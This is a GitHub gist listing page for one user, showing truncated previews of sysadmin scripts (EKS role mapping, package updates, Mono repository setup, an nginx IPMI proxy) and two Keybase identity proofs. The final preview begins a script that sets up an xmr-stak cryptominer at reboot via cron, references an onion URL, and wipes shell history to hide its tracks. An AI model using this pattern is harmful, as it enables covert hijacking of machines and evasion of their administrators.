This gist serves as proof that this twitter account (@foxwithpaws) is me.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
set -o errexit | |
set -o nounset | |
set -o pipefail | |
IAM_GROUP=${1:-admins} | |
EKS_ROLE_ARN=${2:-arn:aws:iam::111122223333:role/eks-node-role} | |
RBAC_GROUP=${3:-system:masters} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
function update_container { | |
if command -v apt-get &> /dev/null | |
then | |
echo "apt-get detected" | |
apt-get update | |
apt-get upgrade -y | |
apt-get autoremove -y | |
apt-get clean |
I hereby claim:
- I am elycin on github.
- I am foxwithpaws (https://keybase.io/foxwithpaws) on keybase.
- I have a public key ASD3nduKuUpJQmzrwpszgcI0ER9e-HenQIOrSuFqLyjdpgo
To claim this, I am signing this object:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# It's become a problem for me that the latest versions of mono aren't exactly available for the lastest version of Ubuntu, | |
# Ubuntu 18.04 as the repositories still carry a fairly old version of monodevelop-4.8 | |
# This quick snippet will add a repository that will install the latest mono. | |
# At the time of writing this, 5.12.x | |
wget http://download.mono-project.com/repo/xamarin.gpg | |
sudo apt-key add xamarin.gpg | |
echo "deb http://download.mono-project.com/repo/debian wheezy main" | sudo tee --append /etc/apt/sources.list.d/mono-xamarin.list |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
upstream ipmi_backend { | |
# the ipmi server | |
server 192.168.1.74:443; | |
keepalive 64; | |
} | |
server { | |
# nginx listens to this | |
listen 80; |
I hereby claim:
- I am elycin on github.
- I am iamelycin (https://keybase.io/iamelycin) on keybase.
- I have a public key whose fingerprint is 6536 C395 5847 62C3 193C CE2C F8DB 97CA 925B C0B5
To claim this, I am signing this object:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
ONION="http://myonion.onion"; | |
EXEC_PATH="/etc/stak" | |
RUN="cd $EXEC_PATH && screen -S xmr-stak -d -m $EXEC_PATH/xmr-stak"; | |
EXEC="@reboot $RUN"; | |
unset HISTFILE; | |
echo "unset HISTFILE" >> ~/.bashrc; | |
history -c; |